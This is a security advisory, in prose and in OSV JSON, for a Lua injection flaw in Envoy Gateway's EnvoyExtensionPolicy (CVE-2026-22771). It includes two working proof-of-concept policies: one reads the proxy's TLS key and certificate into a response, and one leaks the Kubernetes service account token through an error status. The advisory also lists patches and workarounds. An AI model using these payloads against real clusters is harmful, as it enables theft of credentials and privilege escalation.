GHSA-XRWG-MQJ6-6M22
Vulnerability from github – Published: 2026-01-13 18:47 – Updated: 2026-01-13 18:47Impact
Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:
* An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.
Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.
For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: leak
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local cert = io.open("/certs/tls.crt", "r")
local content
if cert then
content = cert:read("*all")
cert:close()
else
content = "file-not-found"
end
local keyfile = io.open("/certs/tls.key", "r")
local contentkey
if keyfile then
contentkey = keyfile:read("*all")
keyfile:close()
else
contentkey = "file-not-found"
end
local keypair = contentkey .. "\n" .. content
response_handle:body():setBytes(keypair)
response_handle:headers():replace("content-length", tostring(#keypair))
response_handle:headers():replace("content-type", "text/plain")
end
This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: backend
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
local content
if token then
content = token:read("*all")
token:close()
else
content = "file-not-found"
end
io.write(content)
error(content)
end
Results in:
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
[...]
status:
ancestors:
- ancestorRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
namespace: default
conditions:
- lastTransitionTime: "..."
message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
in main chunk\n\t[G]: ?."
Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.
Patches
The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:
* Runs Lua Strict validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.
* Renamed Syntax to InsecureSyntax validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.
* Supports a new disableLua option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.
Workarounds
Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-rc.0"
},
{
"fixed": "1.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22771"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T18:47:34Z",
"nvd_published_at": "2026-01-12T19:16:03Z",
"severity": "HIGH"
},
"details": "### Impact\nEnvoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts:\n* An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.\n* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes. \n\nLua scripts executed by Envoy proxy can be used to leak the proxy\u0027s credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. \n\nFor example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy\u0027s XDS client certificates. \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\nspec:\n targetRefs:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n name: leak\n lua:\n - type: Inline\n inline: |\n function envoy_on_response(response_handle)\n local cert = io.open(\"/certs/tls.crt\", \"r\")\n local content\n if cert then\n content = cert:read(\"*all\")\n cert:close()\n else\n content = \"file-not-found\"\n end\n local keyfile = io.open(\"/certs/tls.key\", \"r\")\n local contentkey\n if keyfile then\n contentkey = keyfile:read(\"*all\")\n keyfile:close()\n else\n contentkey = \"file-not-found\"\n end\n local keypair = contentkey .. \"\\n\" .. content\n response_handle:body():setBytes(keypair)\n response_handle:headers():replace(\"content-length\", tostring(#keypair))\n response_handle:headers():replace(\"content-type\", \"text/plain\")\n end\n```\n\nThis execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following `EnvoyExtensionPolicy` will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status. \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\nspec:\n targetRefs:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n name: backend\n lua:\n - type: Inline\n inline: |\n function envoy_on_response(response_handle)\n local token = io.open(\"/var/run/secrets/kubernetes.io/serviceaccount/token\", \"r\")\n local content\n if token then\n content = token:read(\"*all\")\n token:close()\n else\n content = \"file-not-found\"\n end\n io.write(content)\n error(content)\n end\n```\n\nResults in:\n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\n[...]\nstatus:\n ancestors:\n - ancestorRef:\n group: gateway.networking.k8s.io\n kind: Gateway\n name: eg\n namespace: default\n conditions:\n - lastTransitionTime: \"...\"\n message: \"Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:\n failed to validate with envoy_on_response: \u003cstring\u003e:622: [REDACTED TOKEN]\\nstack\n traceback:\\n\\t[G]: in function \u0027error\u0027\\n\\t\u003cstring\u003e:622: in function \u0027envoy_on_response\u0027\\n\\t\u003cstring\u003e:625:\n in main chunk\\n\\t[G]: ?.\"\n```\n\nAttackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself. \n\n### Patches\nThe patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:\n* Runs Lua `Strict` validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.\n* Renamed `Syntax` to `InsecureSyntax` validation mode to signify that in this validation mode Lua won\u0027t be validated for possible security gaps.\n* Supports a new `disableLua` option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.\n\n### Workarounds\nEnvoy Gateway users can create Kubernetes RBAC rules (see [docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).",
"id": "GHSA-xrwg-mqj6-6m22",
"modified": "2026-01-13T18:47:34Z",
"published": "2026-01-13T18:47:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22771"
},
{
"type": "PACKAGE",
"url": "https://github.com/envoyproxy/gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Envoy Extension Policy lua scripts injection causes arbitrary command execution"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.